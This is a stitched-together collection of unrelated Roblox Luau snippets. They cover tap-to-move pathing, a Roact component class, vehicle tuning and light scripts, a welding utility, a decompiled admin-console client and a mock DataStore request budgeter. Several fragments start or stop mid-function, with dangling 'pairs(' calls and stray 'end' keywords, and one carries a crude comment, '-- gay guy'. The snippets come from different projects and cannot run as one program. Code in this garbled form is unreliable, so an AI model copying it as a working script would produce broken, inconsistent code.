pairs(l__Animations__27:GetChildren()) do v34[v36.Name] = v2.hum:WaitForChild("Animator"):LoadAnimation(v36); end;
-------------------------------------------------------------------------
local function IsInBottomLeft(pt) local joystickHeight = math.min(Utility.ViewSizeY() * 0.33, 250) local joystickWidth = joystickHeight return pt.X <= joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight end local function IsInBottomRight(pt) local joystickHeight = math.min(Utility.ViewSizeY() * 0.33, 250) local joystickWidth = joystickHeight return pt.X >= Utility.ViewSizeX() - joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight end local function CheckAlive(character) local humanoid = findPlayerHumanoid(Player) return humanoid ~= nil and humanoid.Health > 0 end local function GetEquippedTool(character) if character ~= nil then for _, child in pairs(character:GetChildren()) do if child:IsA('Tool') then return child end end end end local ExistingPather = nil local ExistingIndicator = nil local PathCompleteListener = nil local PathFailedListener = nil local function CleanupPath() DrivingTo = nil if ExistingPather then ExistingPather:Cancel() end if PathCompleteListener then PathCompleteListener:Disconnect() PathCompleteListener = nil end if PathFailedListener then PathFailedListener:Disconnect() PathFailedListener = nil end if ExistingIndicator then local obj = ExistingIndicator local tween = obj:TweenOut() local tweenCompleteEvent = nil tweenCompleteEvent = tween.Completed:connect(function() tweenCompleteEvent:Disconnect() obj.Model:Destroy() end) ExistingIndicator = nil end end local function getExtentsSize(Parts) local maxX,maxY,maxZ = -math.huge,-math.huge,-math.huge local minX,minY,minZ = math.huge,math.huge,math.huge for i = 1, #Parts do maxX,maxY,maxZ = math.max(maxX, Parts[i].Position.X), math.max(maxY, Parts[i].Position.Y), math.max(maxZ, Parts[i].Position.Z) minX,minY,minZ = math.min(minX, Parts[i].Position.X), math.min(minY, Parts[i].Position.Y), math.min(minZ, Parts[i].Position.Z) end return Region3.new(Vector3.new(minX, minY, minZ), Vector3.new(maxX, maxY, maxZ)) end local function inExtents(Extents, Position) if Position.X < (Extents.CFrame.p.X - Extents.Size.X/2) or Position.X > (Extents.CFrame.p.X + Extents.Size.X/2) then return false end if Position.Z < (Extents.CFrame.p.Z - Extents.Size.Z/2) or Position.Z > (Extents.CFrame.p.Z + Extents.Size.Z/2) then return false end --ignoring Y for now return true end local function showQuickPopupAsync(position, popupType) local popup = createNewPopup(popupType) popup:Place(position, Vector3.new(0,position.y,0)) local tweenIn = popup:TweenIn() tweenIn.Completed:Wait() local tweenOut = popup:TweenOut() tweenOut.Completed:Wait() popup.Model:Destroy() popup = nil end local FailCount = 0 local function OnTap(tapPositions, goToPoint) -- Good to remember if this is the latest tap event local camera = workspace.CurrentCamera local character = Player.Character if not CheckAlive(character) then return end -- This is a path tap position if #tapPositions == 1 or goToPoint then if camera then local unitRay = camera:ScreenPointToRay(tapPositions[1].x, tapPositions[1].y) local ray = Ray.new(unitRay.Origin, unitRay.Direction*1000) -- inivisicam stuff local initIgnore = getIgnoreList() local invisicamParts = {} --InvisicamModule and InvisicamModule:GetObscuredParts() or {} local ignoreTab = {} -- add to the ignore list for i, v in pairs(invisicamParts) do ignoreTab[#ignoreTab+1] = i end for i = 1, #initIgnore do ignoreTab[#ignoreTab+1] = initIgnore[i] end -- local myHumanoid = findPlayerHumanoid(Player) local hitPart, hitPt, hitNormal, hitMat = Utility.Raycast(ray, true, ignoreTab) local hitChar, hitHumanoid = Utility.FindCharacterAncestor(hitPart) local torso = GetTorso() local startPos = torso.CFrame.p if goToPoint then hitPt = goToPoint hitChar = nil end if hitChar and hitHumanoid and hitHumanoid.RootPart and (hitHumanoid.Torso.CFrame.p - torso.CFrame.p).magnitude < 7 then CleanupPath() if myHumanoid then myHumanoid:MoveTo(hitPt) end -- Do shoot local currentWeapon = GetEquippedTool(character) if currentWeapon then currentWeapon:Activate() LastFired = tick() end elseif hitPt and character and not CurrentSeatPart then local thisPather = Pather(character, hitPt, hitNormal) if thisPather:IsValidPath() then FailCount = 0 thisPather:Start() if BindableEvent_OnFailStateChanged then BindableEvent_OnFailStateChanged:Fire(false) end CleanupPath() local destinationPopup = createNewPopup("DestinationPopup") destinationPopup:Place(hitPt, Vector3.new(0,hitPt.y,0)) local failurePopup = createNewPopup("FailurePopup") local currentTween = destinationPopup:TweenIn() ExistingPather = thisPather ExistingIndicator = destinationPopup PathCompleteListener = thisPather.Finished.Event:Connect(function() if destinationPopup then if ExistingIndicator == destinationPopup then ExistingIndicator = nil end local tween = destinationPopup:TweenOut() local tweenCompleteEvent = nil tweenCompleteEvent = tween.Completed:Connect(function() tweenCompleteEvent:Disconnect() destinationPopup.Model:Destroy() destinationPopup = nil end) end if hitChar then local humanoid = findPlayerHumanoid(Player) local currentWeapon = GetEquippedTool(character) if currentWeapon then currentWeapon:Activate() LastFired = tick() end if humanoid then humanoid:MoveTo(hitPt) end end end) PathFailedListener = thisPather.PathFailed.Event:Connect(function() CleanupPath() if failurePopup then failurePopup:Place(hitPt, Vector3.new(0,hitPt.y,0)) local failTweenIn = failurePopup:TweenIn() failTweenIn.Completed:Wait() local failTweenOut = failurePopup:TweenOut() failTweenOut.Completed:Wait() failurePopup.Model:Destroy() failurePopup = nil end end) else if hitPt then -- Feedback here for when we don't have a good path local foundDirectPath = false if (hitPt-startPos).Magnitude < 25 and (startPos.y-hitPt.y > -3) then -- move directly here if myHumanoid then if myHumanoid.Sit then myHumanoid.Jump = true end myHumanoid:MoveTo(hitPt) foundDirectPath = true end end coroutine.wrap(showQuickPopupAsync)(hitPt, foundDirectPath and "DirectWalkPopup" or "FailurePopup") end end elseif hitPt and character and CurrentSeatPart then local destinationPopup = createNewPopup("DestinationPopup") ExistingIndicator = destinationPopup destinationPopup:Place(hitPt, Vector3.new(0,hitPt.y,0)) destinationPopup:TweenIn() DrivingTo = hitPt local ConnectedParts = CurrentSeatPart:GetConnectedParts(true) while wait() do if CurrentSeatPart and ExistingIndicator == destinationPopup then local ExtentsSize = getExtentsSize(ConnectedParts) if inExtents(ExtentsSize, hitPt) then local popup = destinationPopup spawn(function() local tweenOut = popup:TweenOut() tweenOut.Completed:Wait() popup.Model:Destroy() end) destinationPopup = nil DrivingTo = nil break end else if CurrentSeatPart == nil and destinationPopup == ExistingIndicator then DrivingTo = nil OnTap(tapPositions, hitPt) end local popup = destinationPopup spawn(function() local tweenOut = popup:TweenOut() tweenOut.Completed:Wait() popup.Model:Destroy() end) destinationPopup = nil break end end end end elseif #tapPositions >= 2 then if camera then -- Do shoot local avgPoint = Utility.AveragePoints(tapPositions) local unitRay = camera:ScreenPointToRay(avgPoint.x, avgPoint.y) local currentWeapon = GetEquippedTool(character) if currentWeapon then currentWeapon:Activate() LastFired = tick() end end end end local function IsFinite(num) return num == num and num ~= 1/0 and num ~= -1/0 end local function findAngleBetweenXZVectors(vec2, vec1) return math.atan2(vec1.X*vec2.Z-vec1.Z*vec2.X, vec1.X*vec2.X + vec1.Z*vec2.Z) end local function DisconnectEvent(event) if event then event:Disconnect() end end
--[[ A method called by consumers of Roact to create a new component class. Components can not be extended beyond this point, with the exception of PureComponent. ]]
function Component:extend(name) if config.typeChecks then assert(Type.of(self) == Type.StatefulComponentClass, "Invalid `self` argument to `extend`.") assert(typeof(name) == "string", "Component class name must be a string") end local class = {} for key, value in pairs(self) do -- Roact opts to make consumers use composition over inheritance, which -- lines up with React. -- https://reactjs.org/docs/composition-vs-inheritance.html if key ~= "extend" then class[key] = value end end class[Type] = Type.StatefulComponentClass class.__index = class class.__componentName = name setmetatable(class, componentClassMetatable) return class end function Component:__getDerivedState(incomingProps, incomingState) if config.internalTypeChecks then internalAssert(Type.of(self) == Type.StatefulComponentInstance, "Invalid use of `__getDerivedState`") end local internalData = self[InternalData] local componentClass = internalData.componentClass if componentClass.getDerivedStateFromProps ~= nil then local derivedState = componentClass.getDerivedStateFromProps(incomingProps, incomingState) if derivedState ~= nil then if config.typeChecks then assert(typeof(derivedState) == "table", "getDerivedStateFromProps must return a table!") end return derivedState end end return nil end function Component:setState(mapState) if config.typeChecks then assert(Type.of(self) == Type.StatefulComponentInstance, "Invalid `self` argument to `extend`.") end local internalData = self[InternalData] local lifecyclePhase = internalData.lifecyclePhase --[[ When preparing to update, render, or unmount, it is not safe to call `setState` as it will interfere with in-flight updates. It's also disallowed during unmounting ]] if lifecyclePhase == ComponentLifecyclePhase.ShouldUpdate or lifecyclePhase == ComponentLifecyclePhase.WillUpdate or lifecyclePhase == ComponentLifecyclePhase.Render then local messageTemplate = invalidSetStateMessages[internalData.lifecyclePhase] local message = messageTemplate:format(tostring(internalData.componentClass)) error(message, 2) elseif lifecyclePhase == ComponentLifecyclePhase.WillUnmount then -- Should not print error message. See https://github.com/facebook/react/pull/22114 return end local pendingState = internalData.pendingState local partialState if typeof(mapState) == "function" then partialState = mapState(pendingState or self.state, self.props) -- Abort the state update if the given state updater function returns nil if partialState == nil then return end elseif typeof(mapState) == "table" then partialState = mapState else error("Invalid argument to setState, expected function or table", 2) end local newState if pendingState ~= nil then newState = assign(pendingState, partialState) else newState = assign({}, self.state, partialState) end if lifecyclePhase == ComponentLifecyclePhase.Init then -- If `setState` is called in `init`, we can skip triggering an update! local derivedState = self:__getDerivedState(self.props, newState) self.state = assign(newState, derivedState) elseif lifecyclePhase == ComponentLifecyclePhase.DidMount or lifecyclePhase == ComponentLifecyclePhase.DidUpdate or lifecyclePhase == ComponentLifecyclePhase.ReconcileChildren then --[[ During certain phases of the component lifecycle, it's acceptable to allow `setState` but defer the update until we're done with ones in flight. We do this by collapsing it into any pending updates we have. ]] local derivedState = self:__getDerivedState(self.props, newState) internalData.pendingState = assign(newState, derivedState) elseif lifecyclePhase == ComponentLifecyclePhase.Idle then -- Outside of our lifecycle, the state update is safe to make immediately self:__update(nil, newState) else local messageTemplate = invalidSetStateMessages.default local message = messageTemplate:format(tostring(internalData.componentClass)) error(message, 2) end end
--[[ Enters the view, cloning the element from ReplicatedStorage. ]]
function Finished.enter() successSound:Play() activeElements = elements:Clone() activeElements.Time.Text = GetReadableTime(ClientPlayerStatusHandler.get(UserId, "time") or 0) activeElements.Title.Text = translate("You escaped!") activeElements.Parent = LocalPlayer.PlayerGui end
--[[ Returns a string that is human readable, signifying the input enum ]]
return function(inputEnum) if inputEnum == Enum.UserInputType.MouseButton1 then return "LMB" elseif inputEnum == Enum.UserInputType.MouseButton2 then return "RMB" elseif inputEnum == Enum.KeyCode.Q then return "Q" else return "?" end end
-- gay guy
function onTouch(part) local human = part.Parent:findFirstChild("Humanoid") if (human == nil) then return end human.Parent.Name= "IT ATE ME!" --Change ~~~NZ~~~ to whatever name u want end script.Parent.Touched:connect(onTouch)
-- << VARIABLES >>
local music_list = {1840684529,1840684529,1840684529,1840684529,1840684529,1840684529,1840684529,1840684529} local volume = 1
--// Aim|Zoom|Sensitivity Customization
ZoomSpeed = 0.15; -- The lower the number the slower and smoother the tween AimZoom = 5; -- Default zoom AimSpeed = 0.15; UnaimSpeed = 0.15; CycleAimZoom = 4; -- Cycled zoom MouseSensitivity = 0.05; -- Number between 0.1 and 1 SensitivityIncrement = 0.05; -- No touchy
--[[Transmission]]
Tune.TransModes = {"Auto","Semi","Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 2.89 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 2.32 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 2.84 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 1.55 , --[[ 3 ]] 1.00 , --[[ 4 ]] .70 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- if EntityData.All[equippedTool.name] and EntityData.All[equippedTool.name].saddleLevel then ---- determine if part is a child of a critter that can be saddled -- local saddleTarget -- local withinMagnitude = (targetPart.Position - player.Character.PrimaryPart.Position).magnitude <= 15 -- local thisEntityInfo = EntityData.All[targetPart.Parent.Name] -- local saddleable = (thisEntityInfo and thisEntityInfo.saddleable and (thisEntityInfo.saddleLevel <= EntityData.All[equippedTool.name].saddleLevel)) -- if targetPart.Parent:IsA("Model") and targetPart.Parent ~= workspace then -- if saddleable and withinMagnitude and not (saddledCritters[targetPart.Parent] and saddledCritters[targetPart.Parent].owner ~= player) then ----remove their saddle tool -- GU.RemoveFromToolSlot(player, hasEquipped, 1)
-- MasterWeld by Zephyred -- Works for all types of parts, unions etc.
function WeldPair(x, y) local weld = Instance.new("Weld",x) weld.Part0 = x weld.Part1 = y weld.C1 = y.CFrame:toObjectSpace(x.CFrame); end function WeldAll(model, main) -- model can be anything if model:IsA("BasePart") then WeldPair(main, model) end for _,v in pairs(model:GetChildren()) do WeldAll(v, main) end end function UnanchorAll(model) -- model can be anything if (model:IsA("BasePart")) then model.Anchored = false end for _,v in pairs(model:GetChildren()) do UnanchorAll(v) end end WeldAll(script.Parent.Body, script.Parent.MainSeat) UnanchorAll(script.Parent) script:Destroy() -- Done, clean script up.
--// Main Variables
local DetectedNPC = nil local Detected = false local Chatting = false local Skip = false local Exit = false
-- If true, then the heat NumberValues will reflect the values -- contained in the script.
config.DiagnosticsEnabled = false
-- Decompiled with the Synapse X Luau decompiler.
client = nil; cPcall = nil; Pcall = nil; Routine = nil; service = nil; gTable = nil; return function(p1) local l__PlayerGui__1 = service.Players.LocalPlayer.PlayerGui; local l__Parent__2 = script.Parent.Parent; local l__Frame__3 = l__Parent__2.Frame; local l__ScrollingFrame__4 = l__Parent__2.Frame.ScrollingFrame; local v5 = client.Remote.Get("Setting", { "SplitKey", "ConsoleKeyCode", "BatchKey" }); local v6 = client.Remote.Get("FormattedCommands") or {}; l__Frame__3.Position = UDim2.new(0, 0, 0, -200); l__Frame__3.Visible = false; l__Frame__3.Size = UDim2.new(1, 0, 0, 40); l__ScrollingFrame__4.Visible = false; if client.Variables.ConsoleOpen then if client.Variables.ChatEnabled then service.StarterGui:SetCoreGuiEnabled("Chat", true); end; if client.Variables.PlayerListEnabled then service.StarterGui:SetCoreGuiEnabled("PlayerList", true); end; if client.UI.Get("Notif") then client.UI.Get("Notif", nil, true).Object.LABEL.Visible = true; end; local v7 = client.UI.Get("Chat", nil, true); if v7 then v7.Object.Drag.Visible = true; end; local v8 = client.UI.Get("PlayerList", nil, true); if v8 then v8.Object.Drag.Visible = true; end; local v9 = client.UI.Get("HintHolder", nil, true); if v9 then v9.Object.Frame.Visible = true; end; end; client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat"); client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled("PlayerList"); local u1 = false; local l__PlayerList__2 = l__Parent__2.Frame.PlayerList; local u3 = false; local l__TextBox__4 = l__Parent__2.Frame.TextBox; local function u5() if l__Parent__2:IsDescendantOf(game) and not u1 then u1 = true; l__ScrollingFrame__4:ClearAllChildren(); l__ScrollingFrame__4.CanvasSize = UDim2.new(0, 0, 0, 0); l__ScrollingFrame__4.ScrollingEnabled = false; l__Frame__3.Size = UDim2.new(1, 0, 0, 40); l__ScrollingFrame__4.Visible = false; l__PlayerList__2.Visible = false; scrollOpen = false; if client.Variables.ChatEnabled then service.StarterGui:SetCoreGuiEnabled("Chat", true); end; if client.Variables.PlayerListEnabled then service.StarterGui:SetCoreGuiEnabled("PlayerList", true); end; if client.UI.Get("Notif") then client.UI.Get("Notif", nil, true).Object.LABEL.Visible = true; end; local v10 = client.UI.Get("Chat", nil, true); if v10 then v10.Object.Drag.Visible = true; end; local v11 = client.UI.Get("PlayerList", nil, true); if v11 then v11.Object.Drag.Visible = true; end; local v12 = client.UI.Get("HintHolder", nil, true); if v12 then v12.Object.Frame.Visible = true; end; service.SafeTweenPos(l__Frame__3, UDim2.new(0, 0, 0, -200), "Out", "Linear", 0.2, true); u1 = false; u3 = false; end; end; l__TextBox__4.FocusLost:connect(function(p2) if p2 and l__TextBox__4.Text ~= "" and string.len(l__TextBox__4.Text) > 1 then client.Remote.Send("ProcessCommand", l__TextBox__4.Text); end; u5(); end); local function u6() if l__Parent__2:IsDescendantOf(game) and not u1 then u1 = true; client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat"); client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled("PlayerList"); service.StarterGui:SetCoreGuiEnabled("Chat", false); service.StarterGui:SetCoreGuiEnabled("PlayerList", false); l__ScrollingFrame__4.ScrollingEnabled = true; l__PlayerList__2.ScrollingEnabled = true; if client.UI.Get("Notif") then client.UI.Get("Notif", nil, true).Object.LABEL.Visible = false; end; local v13 = client.UI.Get("Chat", nil, true); if v13 then v13.Object.Drag.Visible = false; end; local v14 = client.UI.Get("PlayerList", nil, true); if v14 then v14.Object.Drag.Visible = false; end; local v15 = client.UI.Get("HintHolder", nil, true); if v15 then v15.Object.Frame.Visible = false; end; l__Frame__3.Size = UDim2.new(1, 0, 0, 40); l__ScrollingFrame__4.Visible = false; l__PlayerList__2.Visible = false; scrollOpen = false; l__TextBox__4.Text = ""; l__Frame__3.Visible = true; l__Frame__3.Position = UDim2.new(0, 0, 0, 0); l__TextBox__4:CaptureFocus(); l__TextBox__4.Text = ""; wait(); l__TextBox__4.Text = ""; u1 = false; u3 = true; end; end; local l__BatchKey__7 = v5.BatchKey; local l__SplitKey__8 = v5.SplitKey; local l__Entry__9 = l__Parent__2.Entry; l__TextBox__4.Changed:connect(function(p3) if p3 ~= "Text" or l__TextBox__4.Text == "" or not u6 then if p3 == "Text" and l__TextBox__4.Text == "" and u3 then service.SafeTweenSize(l__Frame__3, UDim2.new(1, 0, 0, 40), nil, nil, 0.3, nil, function() if scrollOpen then l__Frame__3.Size = UDim2.new(1, 0, 0, 140); end; end); l__ScrollingFrame__4.Visible = false; l__PlayerList__2.Visible = false; scrollOpen = false; l__ScrollingFrame__4:ClearAllChildren(); l__ScrollingFrame__4.CanvasSize = UDim2.new(0, 0, 0, 0); end; return; end; l__ScrollingFrame__4:ClearAllChildren(); l__PlayerList__2:ClearAllChildren(); local v16 = l__TextBox__4.Text; if string.match(v16, ".*" .. l__BatchKey__7 .. "([^']+)") then v16 = string.match(string.match(v16, ".*" .. l__BatchKey__7 .. "([^']+)"), "^%s*(.-)%s*$"); end; local v17 = 0; local v18 = string.match(v16, ".+" .. l__SplitKey__8 .. "(.*)$"); local l__next__19 = next; local v20, v21 = service.Players:GetChildren(); while true do local v22, v23 = l__next__19(v20, v21); if not v22 then break; end; v21 = v22; if v18 then if string.sub(string.lower(tostring(v23)), 1, #v18) == string.lower(v18) or string.match(v16, l__SplitKey__8 .. "$") then local v24 = l__Entry__9:Clone(); v24.Text = tostring(v23); v24.TextXAlignment = "Right"; v24.Visible = true; v24.Parent = l__PlayerList__2; v24.Position = UDim2.new(0, 0, 0, 20 * v17); v24.MouseButton1Down:connect(function() l__TextBox__4.Text = l__TextBox__4.Text .. tostring(v23); l__TextBox__4:CaptureFocus(); end); v17 = v17 + 1; end; elseif string.match(v16, l__SplitKey__8 .. "$") then v24 = l__Entry__9:Clone(); v24.Text = tostring(v23); v24.TextXAlignment = "Right"; v24.Visible = true; v24.Parent = l__PlayerList__2; v24.Position = UDim2.new(0, 0, 0, 20 * v17); v24.MouseButton1Down:connect(function() l__TextBox__4.Text = l__TextBox__4.Text .. tostring(v23); l__TextBox__4:CaptureFocus(); end); v17 = v17 + 1; end; end; l__PlayerList__2.CanvasSize = UDim2.new(0, 0, 0, v17 * 20); local v25 = 0; for v26, v27 in next, v6 do if string.sub(string.lower(v27), 1, #v16) == string.lower(v16) or string.find(string.lower(v27), string.match(string.lower(v16), "^(.-)" .. l__SplitKey__8) or string.lower(v16)) then if not scrollOpen then l__Frame__3.Size = UDim2.new(1, 0, 0, 140); l__ScrollingFrame__4.Visible = true; l__PlayerList__2.Visible = true; scrollOpen = true; end; local v28 = l__Entry__9:clone(); v28.Visible = true; v28.Parent = l__ScrollingFrame__4; v28.Text = v27; v28.Position = UDim2.new(0, 0, 0, 20 * v25); v28.MouseButton1Down:connect(function() l__TextBox__4.Text = v28.Text; l__TextBox__4:CaptureFocus(); end); v25 = v25 + 1; end; end; l__ScrollingFrame__4.CanvasSize = UDim2.new(0, 0, 0, v25 * 20); end); local l__ConsoleKeyCode__10 = v5.ConsoleKeyCode; gTable.BindEvent(service.UserInputService.InputBegan, function(p4) if not service.UserInputService:GetFocusedTextBox() and rawequal(p4.UserInputType, Enum.UserInputType.Keyboard) and p4.KeyCode.Name == (client.Variables.CustomConsoleKey or l__ConsoleKeyCode__10) then if u3 then u5(); else u6(); end; client.Variables.ConsoleOpen = u3; end; end); gTable:Ready(); end;
---- THIS CODE IS FOR SERVERSIDE ANIMATIONS --[[ for i,v in pairs(workspace:GetChildren()) do if v.Name == "Butterfly" then local NewScript = script.ButterflyScriptNew:Clone() NewScript.Parent = v; NewScript.Disabled = false end end--]]
-- Fonction pour faire déplacer le NPC vers la source d'eau la plus proche
local function moveToWaterSource(npc) -- Vérifie si le NPC existe et s'il est en vie if npc and npc.Parent and npc:FindFirstChild("Humanoid") and npc.Humanoid.Health > 0 then local npcHumanoid = npc.Humanoid -- Obtient la position actuelle du NPC local npcPosition = npcHumanoid.RootPart.Position -- Trouve la source d'eau la plus proche local nearestWaterSource = findNearestWaterSource(npcPosition) -- Vérifie si une source d'eau a été trouvée if nearestWaterSource then -- Fait tourner le NPC vers la source d'eau npcHumanoid:MoveTo(nearestWaterSource) end end end
-- Remade by Truenus
wait(0.05) local car = script.Parent.Parent.Car.Value local GBrake = script.Parent.Parent.Values.Brake function on() car.Body.Lights.RN.BrickColor=BrickColor.New("Maroon") car.Body.Lights.RN.Material=Enum.Material.Neon car.Body.Lights.Light.Material=Enum.Material.Neon car.Body.Lights.Light.Light.Enabled = true car.Body.Lights.Light.BrickColor=BrickColor.New("Institutional white") car.Body.Lights.RN.Light.Enabled = true function off() car.Body.Lights.Light.BrickColor=BrickColor.New("Dark stone grey") car.Body.Lights.RN.Material=Enum.Material.SmoothPlastic car.Body.Lights.RN.BrickColor=BrickColor.New("Crimson") car.Body.Lights.Light.Light.Enabled = false car.Body.Lights.Light.Material=Enum.Material.SmoothPlastic car.Body.Lights.RN.Light.Enabled = false for i,v in pairs(car.Body.Lights:GetChildren()) do if v.Name == "Light2" then v.Material=Enum.Material.SmoothPlastic v.Light.Enabled = false end end end end function on2() for i,v in pairs(car.Body.Lights:GetChildren()) do if v.Name == "Light2" then v.Material=Enum.Material.Neon v.Light.Enabled = true for i,v in pairs(car.Body.Lights:GetChildren()) do if v.Name == "Light" then v.BrickColor=BrickColor.new("Dark stone grey") v.Material = Enum.Material.SmoothPlastic v.Light.Enabled = false end end end end end function auto() if (game.Lighting:GetMinutesAfterMidnight()<390 or game.Lighting:GetMinutesAfterMidnight()>1050) then car.Body.Lights.Light.Material=Enum.Material.Neon car.Body.Lights.Light.Light.Enabled = true car.Body.Lights.RN.BrickColor=BrickColor.New("Bright red") car.Body.Lights.RN.Light.Enabled = true else car.Body.Lights.RN.Light.Enabled = false car.Body.Lights.RN.Material=Enum.Material.SmoothPlastic car.Body.Lights.RN.BrickColor=BrickColor.New("Maroon") car.Body.Lights.Light.Light.Enabled = false car.Body.Lights.Light.Material=Enum.Material.SmoothPlastic end end script.Parent.MouseButton1Click:connect(function() if script.Parent.Text == "Lights: Auto" then on() script.Parent.Text = "Lights: On (1)" elseif script.parent.Text == "Lights: On (1)" then on2() script.Parent.Text = "Lights: On (2)" elseif script.Parent.Text == "Lights: On (2)" then off() script.Parent.Text = "Lights: Off" elseif script.parent.Text == "Lights: Off" then auto() script.Parent.Text = "Lights: Auto" end end) script.Parent.Parent.Values.Brake.Changed:connect(function() for i,v in pairs(car.Body.Lights:GetChildren()) do if v.Name=="R" then if v.Light.Enabled then if GBrake.Value>0 then v.Transparency=0 v.Light.Brightness=12 v.Light.Range=15 else v.Transparency=.3 v.Light.Brightness=8 v.Light.Range=10 end else v.Transparency=0 if GBrake.Value>0 then v.Material=Enum.Material.Neon else v.Material=Enum.Material.SmoothPlastic end end elseif v.Name=="RR" then if GBrake.Value>0 then v.Material=Enum.Material.Neon if v.Light.Enabled then v.Transparency = 1 else v.Transparency = 0 end else v.Transparency = 1 if v.Light.Enabled then v.Material=Enum.Material.Neon else v.Material=Enum.Material.SmoothPlastic end end end end end) game.Lighting.Changed:connect(auto) auto()
--2--
script.Parent.Parent.ll2.Transparency = 0 script.Parent.Parent.l2.Transparency = 0 script.Parent.Parent.h2.Transparency = 0 script.Parent.Parent.rr2.Transparency = 0 end function on() isOn = true script.Parent.Parent.ex.exit1.SurfaceGui.TextLabel.TextTransparency = 0 script.Parent.Parent.ex.exit2.SurfaceGui.TextLabel.TextTransparency = 0 script.Parent.Parent.ex.exit3.SurfaceGui.TextLabel.TextTransparency = 0 script.Parent.Parent.ex.exit4.SurfaceGui.TextLabel.TextTransparency = 0 script.Parent.Parent.ex.exit5.SurfaceGui.TextLabel.TextTransparency = 0 script.Parent.Parent.ex.exit6.SurfaceGui.TextLabel.TextTransparency = 0
-- declarations
local Figure = script.Parent local Torso = waitForChild(Figure, "Torso") local RightShoulder = waitForChild(Torso, "Right Shoulder") local LeftShoulder = waitForChild(Torso, "Left Shoulder") local RightHip = waitForChild(Torso, "Right Hip") local LeftHip = waitForChild(Torso, "Left Hip") local Neck = waitForChild(Torso, "Neck") local Humanoid = waitForChild(Figure, "Human") local pose = "Standing" local toolAnim = "None" local toolAnimTime = 0 local isSeated = false
-- Request limit bookkeeping:
local Budgets = {} local budgetRequestQueues = { [Enum.DataStoreRequestType.GetAsync] = {}; [Enum.DataStoreRequestType.GetSortedAsync] = {}; [Enum.DataStoreRequestType.OnUpdate] = {}; [Enum.DataStoreRequestType.SetIncrementAsync] = {}; [Enum.DataStoreRequestType.SetIncrementSortedAsync] = {}; } local function initBudget() for requestType, const in pairs(ConstantsMapping) do Budgets[requestType] = const.START end Budgets[Enum.DataStoreRequestType.UpdateAsync] = math.min( Budgets[Enum.DataStoreRequestType.GetAsync], Budgets[Enum.DataStoreRequestType.SetIncrementAsync] ) end local function updateBudget(req, const, dt, n) if not Constants.BUDGETING_ENABLED then return end local rate = const.RATE + n * const.RATE_PLR Budgets[req] = math.min( Budgets[req] + dt * rate, const.MAX_FACTOR * rate ) end local function stealBudget(budget) if not Constants.BUDGETING_ENABLED then return end for _, requestType in pairs(budget) do if Budgets[requestType] then Budgets[requestType] = math.max(0, Budgets[requestType] - 1) end end Budgets[Enum.DataStoreRequestType.UpdateAsync] = math.min( Budgets[Enum.DataStoreRequestType.GetAsync], Budgets[Enum.DataStoreRequestType.SetIncrementAsync] ) end local function checkBudget(budget) if not Constants.BUDGETING_ENABLED then return true end for _, requestType in pairs(budget) do if Budgets[requestType] and Budgets[requestType] < 1 then return false end end return true end local isFrozen = false if RunService:IsServer() then -- Only do budget/throttle updating on server (in case package required on client) initBudget() task.spawn(function() -- Thread that increases budgets and de-throttles requests periodically local lastCheck = tick() while task.wait(Constants.BUDGET_UPDATE_INTERVAL) do local now = tick() local dt = (now - lastCheck) / 60 lastCheck = now local n = #Players:GetPlayers() if not isFrozen then for requestType, const in pairs(ConstantsMapping) do updateBudget(requestType, const, dt, n) end Budgets[Enum.DataStoreRequestType.UpdateAsync] = math.min( Budgets[Enum.DataStoreRequestType.GetAsync], Budgets[Enum.DataStoreRequestType.SetIncrementAsync] ) end for _, budgetRequestQueue in pairs(budgetRequestQueues) do for i = #budgetRequestQueue, 1, -1 do local request = budgetRequestQueue[i] local thread = request.Thread local budget = request.Budget local key = request.Key local lock = request.Lock local cache = request.Cache if not (lock and (lock[key] or tick() - (cache[key] or 0) < Constants.WRITE_COOLDOWN)) and checkBudget(budget) then table.remove(budgetRequestQueue, i) stealBudget(budget) coroutine.resume(thread) end end end end end) game:BindToClose(function() for requestType, const in pairs(ConstantsMapping) do Budgets[requestType] = math.max( Budgets[requestType], Constants.BUDGET_ONCLOSE_BASE * (const.RATE / Constants.BUDGET_BASE) ) end Budgets[Enum.DataStoreRequestType.UpdateAsync] = math.min( Budgets[Enum.DataStoreRequestType.GetAsync], Budgets[Enum.DataStoreRequestType.SetIncrementAsync] ) end) end function MockDataStoreManager.GetGlobalData() return Data.GlobalDataStore end function MockDataStoreManager.GetData(name, scope) assert(type(name) == "string") assert(type(scope) == "string") if not Data.DataStore[name] then Data.DataStore[name] = {} end if not Data.DataStore[name][scope] then Data.DataStore[name][scope] = {} end return Data.DataStore[name][scope] end function MockDataStoreManager.GetOrderedData(name, scope) assert(type(name) == "string") assert(type(scope) == "string") if not Data.OrderedDataStore[name] then Data.OrderedDataStore[name] = {} end if not Data.OrderedDataStore[name][scope] then Data.OrderedDataStore[name][scope] = {} end return Data.OrderedDataStore[name][scope] end function MockDataStoreManager.GetDataInterface(data) return Interfaces[data] end function MockDataStoreManager.SetDataInterface(data, interface) assert(type(data) == "table") assert(type(interface) == "table") Interfaces[data] = interface end function MockDataStoreManager.GetBudget(requestType) if Constants.BUDGETING_ENABLED then return math.floor(Budgets[requestType] or 0) else return math.huge end end function MockDataStoreManager.SetBudget(requestType, budget) assert(type(budget) == "number") budget = math.max(budget, 0) if requestType == Enum.DataStoreRequestType.UpdateAsync then Budgets[Enum.DataStoreRequestType.SetIncrementAsync] = budget 